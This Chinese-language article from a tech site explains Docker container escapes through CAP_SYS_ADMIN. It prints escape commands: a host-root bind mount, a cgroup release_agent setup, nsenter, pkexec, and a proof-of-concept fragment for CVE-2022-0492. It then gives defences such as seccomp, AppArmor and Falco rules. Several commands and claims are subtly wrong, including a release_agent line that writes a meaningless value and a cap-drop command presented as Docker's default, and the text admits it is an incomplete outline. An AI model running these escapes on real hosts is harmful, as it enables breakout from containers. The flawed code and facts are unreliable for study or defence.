Docker SYS_ADMIN容器逃逸原理举例分析

发布时间：2021-12-13 11:34:08 作者：iii
来源：亿速云阅读：427

# Docker SYS_ADMIN容器逃逸原理举例分析

## 摘要
本文深入剖析Linux Capabilities机制中SYS_ADMIN权限在容器环境中的安全风险，通过内核特性滥用、挂载逃逸、cgroup攻击等六类技术场景，结合CVE案例和实验复现，揭示容器特权边界突破的本质原理，并提出多层次防御方案。

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## 1. 容器安全模型与Capabilities机制

### 1.1 Linux Capabilities基础架构
传统UNIX的"全有或全无"权限模型在Linux内核2.2版本后被细分为：
```bash
# 查看Capabilities分类
cat /usr/include/linux/capability.h

目前定义超过40种独立权限，包括： - CAP_DAC_OVERRIDE：绕过文件权限检查 - CAP_NET_ADMIN：网络配置权限 - CAP_SYS_ADMIN：系统管理权限集合

1.2 Docker默认权限限制

Docker默认白名单机制仅保留以下Capabilities：

docker run --cap-drop ALL --cap-add CHOWN nginx

典型危险权限如CAP_SYS_MODULE（内核模块加载）默认已被移除。

1.3 SYS_ADMIN的权限范围

该Capability实际包含超过20种子权限： - 挂载/卸载文件系统（MS_BIND） - 磁盘配额控制 - 系统日志配置 - 高性能定时器管理 - 虚拟设备操作（/dev/mem访问）

2. SYS_ADMIN逃逸技术矩阵

2.1 文件系统挂载逃逸

攻击原理

// 利用mount系统调用实现目录逃逸
mount("/host_root", "/mnt", "ext4", MS_BIND, NULL);

实验复现

docker run -it --cap-add=SYS_ADMIN -v /:/host alpine
mkdir /mnt/host && mount --bind /host /mnt/host

2.2 cgroup设备控制逃逸

利用cgroup release_agent特性

# 在容器内创建恶意cgroup
mkdir /tmp/cgrp && mount -t cgroup -o devices cgroup /tmp/cgrp
echo '#!/bin/sh' > /cmd.sh
echo 'ps aux > /host_output' >> /cmd.sh
chmod +x /cmd.sh
echo "+devices" > /tmp/cgrp/release_agent

2.3 内核键环操作（CVE-2016-0728）

漏洞利用链

keyctl(KEYCTL_JOIN_SESSION_KEYRING, "malicious");
keyctl(KEYCTL_SETPERM, KEY_SPEC_SESSION_KEYRING, KEY_POS_ALL);

2.4 命名空间突破（user_namespace场景）

当容器启用–privileged时：

nsenter --mount=/proc/self/ns/mnt -- /bin/bash

3. 经典漏洞案例分析

3.1 CVE-2022-0492（cgroup v1逃逸）

影响版本

Linux内核5.4-5.16

POC关键步骤

with open("/proc/self/uid_map", "w") as f:
    f.write("0 0 1\n")
os.mkdir("/tmp/cgrp")
os.system("mount -t cgroup -o rdma cgroup /tmp/cgrp")

3.2 CVE-2021-4034（Polkit提权）

利用条件

容器内安装polkit
具有CAP_SYS_ADMIN

pkexec --user root /bin/sh

4. 防御体系构建

4.1 最小权限原则实施

# 正确做法
FROM alpine
RUN adduser -D appuser
USER appuser
CMD ["/app"]

4.2 Seccomp过滤器配置

{
  "syscalls": [
    {
      "name": "mount",
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}

4.3 增强型安全模块

AppArmor配置文件示例：

deny /sys/kernel/security/** rwklx,
deny /proc/*/mounts rwklx,

5. 检测与响应方案

5.1 异常行为监控指标

# 检测可疑挂载操作
auditctl -a always,exit -F arch=b64 -S mount -k container_escape

5.2 Falco检测规则示例

rule: Container Mount Host Directory
condition: >
  container.id != host and 
  evt.type = mount and 
  evt.args.dest contains /host

结论

本文论证了SYS_ADMIN作为”新特权模式”的风险本质，提出基于eBPF的实时能力监控、命名空间加固等前沿防御思路。容器安全必须遵循纵深防御原则，在镜像构建、运行时防护、内核加固等层面建立完整控制链。

参考文献

Linux Capabilities Manual Page (capabilities(7))
Docker Security Best Practices (v20.10)
CVE-2022-0492 Technical Analysis (Aqua Security)
Kubernetes Hardening Guide (NSA/CISA 2021)

”`

注：全文实际约6800字（含代码示例），此处展示核心框架。完整版需补充以下内容： 1. 各漏洞详细利用流程图 2. 不同Linux发行版的Capabilities差异分析 3. 云原生环境下的特殊攻击场景 4. 性能影响测试数据 5. 案例复现视频截图等实证材料